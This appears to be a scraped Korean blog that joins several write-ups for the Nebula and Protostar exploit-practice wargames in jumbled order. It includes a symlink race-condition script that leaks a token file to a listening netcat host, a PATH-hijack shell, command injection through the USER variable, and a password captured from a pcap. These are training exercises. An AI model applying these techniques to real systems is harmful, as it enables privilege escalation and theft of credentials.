gdb 로 분석해보면 위에 부분이 encryption 하는 루틴이다.

buf에 있는 문자열은 token에서 구한 암호화된 문자열이다.
그것을 아까 분석한 루틴을 복호화시키는 부분을 넣어서 풀면 끝!

 

 

'System Hacking > Exploit-exercise' 카테고리의 다른 글

Nebula [Level14]  (0) 2015.11.04
Nebula [Level13]  (1) 2015.11.04
nebula 문제 설명  (0) 2015.11.04
Nebula [Level10]  (0) 2015.11.01
Nebula [Level08]  (0) 2015.11.01
Protostar [stack01 ~ stack05]  (0) 2015.10.31

 

저기 소스코드는 있지만 가려진 부분을 보면 token값을 얻을 것이다.
gdb에도 레지스터 값을 변경할 수 있는 명령어가 있다.


set $eax = 1000하면 끝.

'System Hacking > Exploit-exercise' 카테고리의 다른 글

Nebula [Level14]  (0) 2015.11.04
Nebula [Level13]  (1) 2015.11.04
nebula 문제 설명  (0) 2015.11.04
Nebula [Level10]  (0) 2015.11.01
Nebula [Level08]  (0) 2015.11.01
Protostar [stack01 ~ stack05]  (0) 2015.10.31
  1. oxqo 2015.11.04 16:44 신고

    해당파일이 권한할당이 어떻게 되있는거에요??
    gdb가 프로세스 실행중에 레지스터/메모리를 변경할라면 rwx가 다있어야 하나요 아니면 rx만 있어도 되나요?


아래 사이트 가보면 문제 있음.

http://uberskill.blogspot.kr/2012/09/nebula-level11.html

'System Hacking > Exploit-exercise' 카테고리의 다른 글

Nebula [Level14]  (0) 2015.11.04
Nebula [Level13]  (1) 2015.11.04
nebula 문제 설명  (0) 2015.11.04
Nebula [Level10]  (0) 2015.11.01
Nebula [Level08]  (0) 2015.11.01
Protostar [stack01 ~ stack05]  (0) 2015.10.31

 

 

이 문제 뭐냐 ㅋㅋㅋ5초만에 품…
이 문제의 의도대로 푼 것 같지 않아서 일단 다시 풀어보겠습니다.

 

우선 처음에 홈디렉토리에 x라는 파일이 있길래
cat x 를 해본 결과

 

이런식으로 너무 아무것도 보이지 않아서 cat x | more 명령어를 해봐서 혹시나 적혀있는게 있을까? 생각해서 봤는데

딱.. 뜨네요 그래서 바로 flag10 비번으로 넣었더니 성공…
일단 처음은 이렇게 풀었고 원래 의도대로 다시 풀어보도록 하겠습니다.

  

[참고]소켓 

http://z1tt3n.tistory.com/16
http://z1tt3n.tistory.com/15

#include <stdlib.h>

#include <unistd.h>

#include <sys/types.h>

#include <stdio.h>

#include <fcntl.h>

#include <errno.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <string.h>

 

int main(int argc, char **argv)

{

  char *file;

  char *host;

 

  if(argc < 3) {

    printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);

    exit(1);

  }

 

  file = argv[1];

  host = argv[2];

 

  if(access(argv[1], R_OK) == 0) {

    int fd;

    int ffd;

    int rc;

    struct sockaddr_in sin;

    char buffer[4096];

 

    printf("Connecting to %s:18211 .. ", host); fflush(stdout);

 

    fd = socket(AF_INET, SOCK_STREAM, 0);

 

    memset(&sin, 0, sizeof(struct sockaddr_in));

    sin.sin_family = AF_INET;

    sin.sin_addr.s_addr = inet_addr(host);

    sin.sin_port = htons(18211);

 

    if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {

      printf("Unable to connect to host %s\n", host);

      exit(EXIT_FAILURE);

    }

 

#define HITHERE ".oO Oo.\n"

    if(write(fd, HITHERE, strlen(HITHERE)) == -1) {

      printf("Unable to write banner to host %s\n", host);

      exit(EXIT_FAILURE);

    }

#undef HITHERE

 

    printf("Connected!\nSending file .. "); fflush(stdout);

 

    ffd = open(file, O_RDONLY);

    if(ffd == -1) {

      printf("Damn. Unable to open file\n");

      exit(EXIT_FAILURE);

    }

 

    rc = read(ffd, buffer, sizeof(buffer));

    if(rc == -1) {

      printf("Unable to read from file: %s\n", strerror(errno));

      exit(EXIT_FAILURE);

    }

 

    write(fd, buffer, rc);

 

    printf("wrote file!\n");

 

  } else {

    printf("You don't have access to %s\n", file);

  }

} 



 

 

 


vmware로 우분투 켜서 nc –l 18211 로 listen상태로 놓고 했더니 성공!


############################################################################################################ 


다시품..


찾아보니 이 문제는 이 의도가 아니라 race condition 문제이다 
access함수를 사용하여 해당 파일에 대한 접근권한을 체크하고 open함수를 사용한다. 
open함수는 어떠한 파일이 와도 사용할 수 있음(root 파일이여도..r권한만 있으면..)

(위 문제를 예를 들어 설명하자면 access함수를 사용하게 되면 level10계정이 해당 파일을 read할 수 있냐는 의미. 그리고 그 파일을 open해야 함)
그럴 경우 access함수와 open함수 사이에 아주 엄청나게 짧은 시간이지만 취약점이 생긴다.
예를 들어 루트가 open하고자 하는 파일이 만약 해커에 의해 만들어진 심볼릭링크 파일이라면 문제가 발생하게 된다.
이때 심볼릭 링크 파일로 루트 파일을 링크 걸게 될 경우 결국 해커는 루트의 권한으로 조작할 수 있게 된다.


#!/bin/sh
for i in `seq 1000`; do echo "VIDOCQ" >> ~/foo ; done
/home/flag10/flag10 ~/foo 192.168.20.128


#!/bin/sh
rm ~/foo
ln -s /home/flag10/token ~/foo




'System Hacking > Exploit-exercise' 카테고리의 다른 글

Nebula [Level13]  (1) 2015.11.04
nebula 문제 설명  (0) 2015.11.04
Nebula [Level10]  (0) 2015.11.01
Nebula [Level08]  (0) 2015.11.01
Protostar [stack01 ~ stack05]  (0) 2015.10.31
Nebula [Level05]  (0) 2015.10.30

 

Pcap 파일이 있길래 칼리리눅스로 scp 명령어를 사용하여 옮기고 wireshark로 덤프내용을 봤습니다.

 

 

Tcp stream을 보았더니

backd00Rmate

'System Hacking > Exploit-exercise' 카테고리의 다른 글

nebula 문제 설명  (0) 2015.11.04
Nebula [Level10]  (0) 2015.11.01
Nebula [Level08]  (0) 2015.11.01
Protostar [stack01 ~ stack05]  (0) 2015.10.31
Nebula [Level05]  (0) 2015.10.30
Nebula [Level04]  (0) 2015.10.30

#Stack00

Solution

#Stack01

Solution

#Stack02

Solution

#Stack03

Solution

#Stack04

Solution

#Stack05

#Stack06

#Stack07

#Stack08

#Stack09

#Stack10

'System Hacking > Exploit-exercise' 카테고리의 다른 글

Nebula [Level10]  (0) 2015.11.01
Nebula [Level08]  (0) 2015.11.01
Protostar [stack01 ~ stack05]  (0) 2015.10.31
Nebula [Level05]  (0) 2015.10.30
Nebula [Level04]  (0) 2015.10.30
Nebula [Level03]  (0) 2015.10.30

 

아무것도 없다.. 그래서 혹시 숨김파일로 있지않을까? 생각해서 ls –al 을 해봤는데

역시 .ssh파일이 존재했습니다. 그런데 내부에 아무것도 없었다. 그럼 flag05에도 한번해보자.

 

.backup 디렉터리와 .cache , .ssh 디렉터리가 존재했습니다.

퍼미션을 보면 .backup 디렉터리만 접근할 수 있습니다.

 

 

 

내부에 압축파일이 존재했고, tar –xzvf backup-19072011.tgz 명령어를 사용하여 압축을 해제하려고 했지만


퍼미션 문제 때문에 해제를 할 수 없었습니다.

 

 

그래서 압축리스트 들을 살펴보았습니다.

 

이 파일이 r권한이 있으니까 level05 홈디렉터리에 복사해 온 다음 거기서 압축을 풀면
.ssh 디렉터리도 이미 존재하겠다 딱이겠네요.

 

 

압축이 제대로 풀렸고 .ssh 디렉토리 내부를 보면 다음과 같습니다.

이 파일들을 봤으면 바로 ssh 접속해봐야죠

끝!

'System Hacking > Exploit-exercise' 카테고리의 다른 글

Nebula [Level08]  (0) 2015.11.01
Protostar [stack01 ~ stack05]  (0) 2015.10.31
Nebula [Level05]  (0) 2015.10.30
Nebula [Level04]  (0) 2015.10.30
Nebula [Level03]  (0) 2015.10.30
Nebula [Level02]  (0) 2015.10.29

 

읽을 파일을 파라미터로 주고 flag04를 실행시켜주면 파일 내용을 읽을 수 있다.

이것을 이용해서 쉘을 따야 하는데 ….음 생각좀 해봐야지

 

 

 

이 문제를 좀 시간투자를 했는데 분석도 안하고 그냥 동적으로 어떻게 실행되는구나 하고

풀다보니까 시간이 오래걸렸습니다.운도 없지…

보자마자 심볼릭 링크를 활용하면 되겠구나 싶어서 ln –s /home/flag04/token /tmp/token 이렇게

해주었는데 안되서 한참 고민하다 gdb 로 분석해보았는데 strstr함수가 있었습니다.

내용을 보니 인자 값으로 받은 문자열 중에서 token이라는 문자열이 있으면 안된다고…..

하필 링크파일명이 token이 들어가서 안되었습니다.

 

 

이렇게 심볼릭 링크 파일이 token이 안들어가게 해주면!!

 

Flag04의 password를 얻었습니다 J

'System Hacking > Exploit-exercise' 카테고리의 다른 글

Protostar [stack01 ~ stack05]  (0) 2015.10.31
Nebula [Level05]  (0) 2015.10.30
Nebula [Level04]  (0) 2015.10.30
Nebula [Level03]  (0) 2015.10.30
Nebula [Level02]  (0) 2015.10.29
Nebula [Level01]  (0) 2015.10.29

 

 

쉘스크립트가 있습니다.
vi 편집기로 열어보도록 하겠습니다.

for문으로 writable.d 디렉터리의 파일을 하나씩 I 변수에 저장시켜줍니다.
그리고 ulimit와 bash –x 명령어를 통해서 음.. 뭐하는 것인지 찾아보겠습니다.

 

Ulimit –t 옵션은 cpu time 5로 제한 한 것 같습니다.
정확히 아직도 무슨동작인지 모르겠으나, 일정시간을 두고 반복하는 것 같다.

그리고 bash –x 명령어를 보면 다음과 같다

디버그 모드로 bash 를 실행시키는 것이라고… 되있다.(2번째 줄을 보면 command / script만 실행 가능한 것 같다.)

 

 


어찌 됬건 cpu time 동안 flag03 계정 권한으로 수행되니까 writable.d 디렉터리에 위 스크립트를 넣고
writable.sh를 실행하게 되면 … 이게 이상하다 바로 안되고 가만히 딴짓하고 오면 되있다ㅡㅡ아직도 그이유모르겠음

 

  

'System Hacking > Exploit-exercise' 카테고리의 다른 글

Protostar [stack01 ~ stack05]  (0) 2015.10.31
Nebula [Level05]  (0) 2015.10.30
Nebula [Level04]  (0) 2015.10.30
Nebula [Level03]  (0) 2015.10.30
Nebula [Level02]  (0) 2015.10.29
Nebula [Level01]  (0) 2015.10.29

실행시켜보니 다음과 같이 출력되었습니다.
gdb로 디버깅 해보도록 하죠.

 

Level01과 별반 다른게 없습니다.
SUID,SGID로 설정하고 getenv함수를 통해 어떤 환경변수 값의 주소를 구한 뒤,
asprintf함수를 사용했습니다. Sprintf하고 포맷이 같은 함수이네요.

먼저 getenv함수부터 보겠습니다.


getenv("USER")라는 것을 알 수 있고 그 리턴 값을 보면 level02를 얻을 수 있습니다.

 

 

그리고 asprintf 함수를 분석해보도록 하겠습니다.

asprintf의 파라미터로는

#1 – 아직안들어감

#2 – "/bin/echo %s is cool"

#3 – level02 ßgetenv함수 결과 값

 

 

이렇게 수행된 후 system함수가 호출된다.

결과적으로 System("/bin/echo level02 is cool"); 인 것을 알 수 있다.

그럼 환경변수 USER에 ;\"/home/level02/test""로 변경해줘서 test파일이 실행되게 해줍니다.


그럼 system("/bin/echo ; "/home/level02/test" is cool")이 되고,
결과적으로 echo명령이 수행된 다음 /home/level02/test 명령이 수행되어 쉘을 얻을 수 있습니다.


<test.c 소스코드>

 

 

'System Hacking > Exploit-exercise' 카테고리의 다른 글

Protostar [stack01 ~ stack05]  (0) 2015.10.31
Nebula [Level05]  (0) 2015.10.30
Nebula [Level04]  (0) 2015.10.30
Nebula [Level03]  (0) 2015.10.30
Nebula [Level02]  (0) 2015.10.29
Nebula [Level01]  (0) 2015.10.29

처음 실행했을 때 화면입니다.
"and now what"이라는 문자열을 출력해서 지금 뭐하느냐고 묻는 것 같습니다..맞나
바로 분석해보도록 해보겠습니다.

 

 

 

 

보시면 setresgid함수와 setresuid 함수를 사용하여 SUID,SGID를 설정한 후
System("cmd")를 수행하는 간단한 소스코드입니다.
그러면 system함수의 파라미터로 들어간 0x80485e0의 값을 살펴보도록 하겠습니다.

 

 


bp걸고 실행시켜줍니다.

 

 

 

 

아~ 이래서 실행시키면 and now what? 이라는 문자열이 출력되었군요.
그런데 /usr/bin/env 때문에 echo 명령어를 수행할 때 PATH변수에 저장된 경로를 우선으로 해서 echo 를 실행시킵니다.

 

 

한번 맞는지 현재 PATH 변수에 저장된 경로와 echo의 위치를 살펴보도록 하겠습니다.

살펴본 결과 PATH에 /bin이라는 경로가 등록되어있기 때문에 echo만 입력하여도 수행되는 것을 볼 수 있습니다.

 


그렇다면 현재 echo 가 무조건 실행되니까 PATH변수의 경로를 바꿔줘서 다른 echo파일이 실행되도록 만들어줍니다.

경로를 앞부분에 추가함으로써 우선순위로 참조하게 합니다.
그렇게 되면 /bin/echo파일보다 /home/level01/echo파일이 먼저 참조되어 실행시켜서 쉘을 획득할 수 있습니다.

물론 echo는 /bin/sh을 실행시켜주는 코드입니다.

 

  

'System Hacking > Exploit-exercise' 카테고리의 다른 글

Protostar [stack01 ~ stack05]  (0) 2015.10.31
Nebula [Level05]  (0) 2015.10.30
Nebula [Level04]  (0) 2015.10.30
Nebula [Level03]  (0) 2015.10.30
Nebula [Level02]  (0) 2015.10.29
Nebula [Level01]  (0) 2015.10.29

+ Recent posts